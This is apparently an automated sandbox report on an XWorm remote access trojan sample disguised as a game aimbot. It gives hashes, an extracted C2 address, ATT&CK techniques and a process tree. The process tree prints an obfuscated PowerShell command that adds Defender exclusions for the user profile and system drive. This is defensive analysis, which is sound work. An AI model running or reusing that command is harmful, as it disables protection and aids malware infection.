xworm | baf354a791ee0f5dc271c57ec5ee296568658e6294233c518ad425faa002eb93

Analysis

max time kernel
152s
max time network
164s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/08/2026, 11:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
baf354a791ee0f5dc271c57ec5ee296568658e6294233c518ad425faa002eb93.exe
Size 169.4MB
Sample260822-nfd3batdpc
SHA256 baf354a791ee0f5dc271c57ec5ee296568658e6294233c518ad425faa002eb93
MD5 8d6bafbada9da47a4b0793d4837ca3db
SHA1 f301f72f4cac2b67301d47a9da59fbf0f4fdebc6
SHA512 ea4b0b2e0a03b2d922b4bd5739211f78b3c5a0215935e697e8734de41fd82f2952f064d074999a8964f92fc05ca9f3b10c590c1c8d57bd33475c9cd702cf092d
SSDEEP 3145728:dTV6oZVZOoToEdHCpAySjUJQLBA/O+AT6A9hgPHr9p1Y8QfDAZn/PB7QxotLW:ZdZfO6oyHuAZXf4KhgPp14AZ3B7Qxot
TLSH
T14E8833669B7FE18855CC44B0DD4DB033C55A768C34AB820FA30F0BB94F5E9AC45772AA
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery xworm rat trojan

Malware Config

Extracted

Family

xworm

Version

XWorm V6.5 by c3lestial.fun

64.188.66.196:64769

Mutex

BxWkuCoM18wm6Knx

Attributes

install_file
USB.exe

aes.plain

Signatures

Family: Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x0004000000016b4e-4.dat	family_xworm
behavioral2/memory/1952-10-0x00000000009C0000-0x00000000009CE000-memory.dmp	family_xworm

Executes dropped EXE 1 IoCs

pid	Process
1952	-m.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Standoff2-0.35.3-F1-AimBottuk.apk	baf354a791ee0f5dc271c57ec5ee296568658e6294233c518ad425faa002eb93.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	baf354a791ee0f5dc271c57ec5ee296568658e6294233c518ad425faa002eb93.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000_Classes\Local Settings	baf354a791ee0f5dc271c57ec5ee296568658e6294233c518ad425faa002eb93.exe
Key created	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000_Classes\Local Settings	OpenWith.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4584	powershell.exe
4584	powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	4584	powershell.exe
Token: SeDebugPrivilege	1952	-m.exe
Token: SeIncreaseQuotaPrivilege	4584	powershell.exe
Token: SeSecurityPrivilege	4584	powershell.exe
Token: SeTakeOwnershipPrivilege	4584	powershell.exe
Token: SeLoadDriverPrivilege	4584	powershell.exe
Token: SeSystemProfilePrivilege	4584	powershell.exe
Token: SeSystemtimePrivilege	4584	powershell.exe
Token: SeProfSingleProcessPrivilege	4584	powershell.exe
Token: SeIncBasePriorityPrivilege	4584	powershell.exe
Token: SeCreatePagefilePrivilege	4584	powershell.exe
Token: SeBackupPrivilege	4584	powershell.exe
Token: SeRestorePrivilege	4584	powershell.exe
Token: SeShutdownPrivilege	4584	powershell.exe
Token: SeDebugPrivilege	4584	powershell.exe
Token: SeSystemEnvironmentPrivilege	4584	powershell.exe
Token: SeRemoteShutdownPrivilege	4584	powershell.exe
Token: SeUndockPrivilege	4584	powershell.exe
Token: SeManageVolumePrivilege	4584	powershell.exe
Token: 33	4584	powershell.exe
Token: 34	4584	powershell.exe
Token: 35	4584	powershell.exe
Token: 36	4584	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1888	OpenWith.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2896 wrote to memory of 4584	2896	baf354a791ee0f5dc271c57ec5ee296568658e6294233c518ad425faa002eb93.exe	89
PID 2896 wrote to memory of 1952	2896	baf354a791ee0f5dc271c57ec5ee296568658e6294233c518ad425faa002eb93.exe	91

C:\Users\Admin\AppData\Local\Temp\baf354a791ee0f5dc271c57ec5ee296568658e6294233c518ad425faa002eb93.exe
"C:\Users\Admin\AppData\Local\Temp\baf354a791ee0f5dc271c57ec5ee296568658e6294233c518ad425faa002eb93.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2896
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGcAZwBnACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHIAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGcAaQBmACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHkAawB2ACMAPgA="
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4584
- C:\Users\Admin\AppData\Roaming\-m.exe
  "C:\Users\Admin\AppData\Roaming\-m.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1952

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:1888

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

-m.exe

Path C:\Users\Admin\AppData\Roaming\-m.exe
Size 32KB
SHA256 4c88c4e442efaf0fdfce66244239f2484dbe38dd96d592da5ea5d7ea3165fcbe
MD5 195d2f4e6db8d92d80a4e58ca4e81630
SHA1 9a88eb28e3a881cac8147b53a7db24a35a173a5c
SHA512 76bad057df6909cd5332de486514141e35cab6e209bdb415bce1c16b9b9659cd3c67e7816bcafe14101710c6febb801459ec1eb216d5d38b5388bdeff5d7ec09
SSDEEP 384:gwaJWq4Ava7Rm32oDuuw3+q5XwYeLBEuvh0FbOKTCOQpqR6pkFTBLTAOZwpGd2vs:gxC3fOJ5yuvGFbO75pqDFo9jeOjhabR
TLSH
T15FE23B4877E04312C9FEAFF02DF2710A1675E11B9913EF5E0CD8CA962B67AC146507EA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1952-10-0x00000000009C0000-0x00000000009CE000-memory.dmp

Download

memory/4584-11-0x0000000004D40000-0x0000000004D76000-memory.dmp

Download

memory/4584-12-0x00000000053E0000-0x0000000005A2A000-memory.dmp

Download

memory/4584-13-0x0000000005330000-0x0000000005352000-memory.dmp

Download

memory/4584-15-0x0000000005C90000-0x0000000005CF6000-memory.dmp

Download

memory/4584-14-0x0000000005C20000-0x0000000005C86000-memory.dmp

Download

memory/4584-18-0x0000000005D00000-0x000000000605B000-memory.dmp

Download

memory/4584-20-0x0000000006240000-0x000000000628C000-memory.dmp

Download

memory/4584-19-0x0000000006200000-0x000000000621E000-memory.dmp

Download

memory/4584-27-0x00000000707F0000-0x000000007083C000-memory.dmp

Download

memory/4584-26-0x00000000073E0000-0x0000000007416000-memory.dmp

Download

memory/4584-30-0x0000000006800000-0x0000000006820000-memory.dmp

Download

memory/4584-31-0x0000000007420000-0x00000000074C3000-memory.dmp

Download

memory/4584-32-0x0000000007BC0000-0x000000000823C000-memory.dmp

Download

memory/4584-33-0x0000000007580000-0x000000000759A000-memory.dmp

Download

memory/4584-34-0x0000000007600000-0x000000000760A000-memory.dmp

Download

memory/4584-35-0x0000000007800000-0x0000000007896000-memory.dmp

Download